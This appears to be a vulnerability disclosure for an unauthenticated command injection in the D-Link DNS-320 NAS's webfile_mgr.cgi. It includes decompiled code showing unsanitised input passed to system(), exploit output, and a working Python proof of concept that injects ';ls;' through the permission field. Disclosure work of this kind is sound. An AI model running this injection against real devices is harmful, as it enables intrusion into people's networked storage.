D-Link DNS-320 webfile_mgr.cgi cgi_change_permision function Unauthenticated Command Injection Vulnerability

```
Brand: D-Link
Model: DNS320
Firmware Version: 2.00
Official Website: https://www.dlink.com
Firmware Download URL: https://files.dlink.com.au/products/DNS-320/REV_A/Firmware/Firmware_v2.00b06/DNS-320_A1_FW_v2.00b06.zip
```

Affected Component

```
The webfile_mgr.cgi binary's cgi_change_permision
```

Suggested description

```
D-Link DNS-320 webfile_mgr.cgi cgi_change_permision function Unauthenticated Command Injection Vulnerability
```

Vulnerability Details

```
Python script injects command
→ GET http://192.168.31.10:80/cgi-bin/webfile_mgr.cgi,{
    "cmd": "cgi_change_permision",
    "type": "f",
          "path": "/mnt/HD/HD_a2/test.txt",
          "permission": ";ls;"
    }
    →cgiMain:(dispatcher entry point)
        →cgi_change_permision: enter this function
        →cgi_change_permision: get the parameter in the body by calling cgiFormString("permision", v4, 8)
            →Splice v4 into v2
                →system: system(v2)
```

```
int cgi_change_permision()
{
  char *v0; // r4
  char v2[12]; // [sp+0h] [bp-42Ch] BYREF
  _BYTE v3[512]; // [sp+200h] [bp-22Ch] BYREF
  char v4[8]; // [sp+400h] [bp-2Ch] BYREF
  char v5[36]; // [sp+408h] [bp-24h] BYREF

  cgiFormString("path", v3, 512);
  cgiFormString("type", v5, 8);
  cgiFormString("permission", v4, 8);
  v0 = (char *)shell_string_encode(v3);
  if ( v0 )
  {
    if ( !strcmp(v5, "Folder") )
      sprintf(v2, "chmod %s -R \"%s\"", v4, v0);
    else
      sprintf(v2, "chmod %s \"%s\" ", v4, v0);
    system(v2);
    free(v0);
  }
  return puts("Content-Type: text/html\r\n\r");
}
```

Attack

By using this vulnerability point for command execution, for example, the following figure can execute the ls command, and the ls result can be directly viewed in the terminal

```
[+] Exploit sent (check server logs)!
PS D:\Desktop\temp> & C:/Users/textbook/AppData/Local/Programs/Python/Python39-32/python.exe d:/Desktop/temp/RSS_Update.py
Status: 200
Response:
1.t
account_mgr.cgi
apkg_mgr.cgi
app_mgr.cgi
cmd_network
codepage_mgr.cgi
discovery.cgi
download_mgr.cgi
dsk_mgr.cgi
file_center.cgi
file_sharing.cgi
folder_tree.cgi
gui_mgr.cgi
isomount_mgr.cgi
local_backup_mgr.cgi
login_mgr.cgi
network_mgr.cgi
p2p.cgi
p2p_upload.cgi
poc.py
poc.py.1
poc.py.2
poc.py.3
poc.py.4
poc.py.5
poc.py.6
remote_backup.cgi
status_mgr.cgi
```

POC

```
import requests
```

```python
url = "http://192.168.31.10/cgi-bin/webfile_mgr.cgi"

headers = {
}

data = {
    "cmd": "cgi_change_permision",
    "type": "f",
    "path": "/mnt/HD/HD_a2/test.txt",
    "permission": ";ls;"
}

try:
    response = requests.post(
        url,
        headers=headers,
        data=data,
        timeout=10
    )

    print("Status:", response.status_code)
    print("Response:")
    print(response.text)
except Exception as e:
    print(f"Error: {e}")
```

Discoverer

```
ZuZheng Yang
```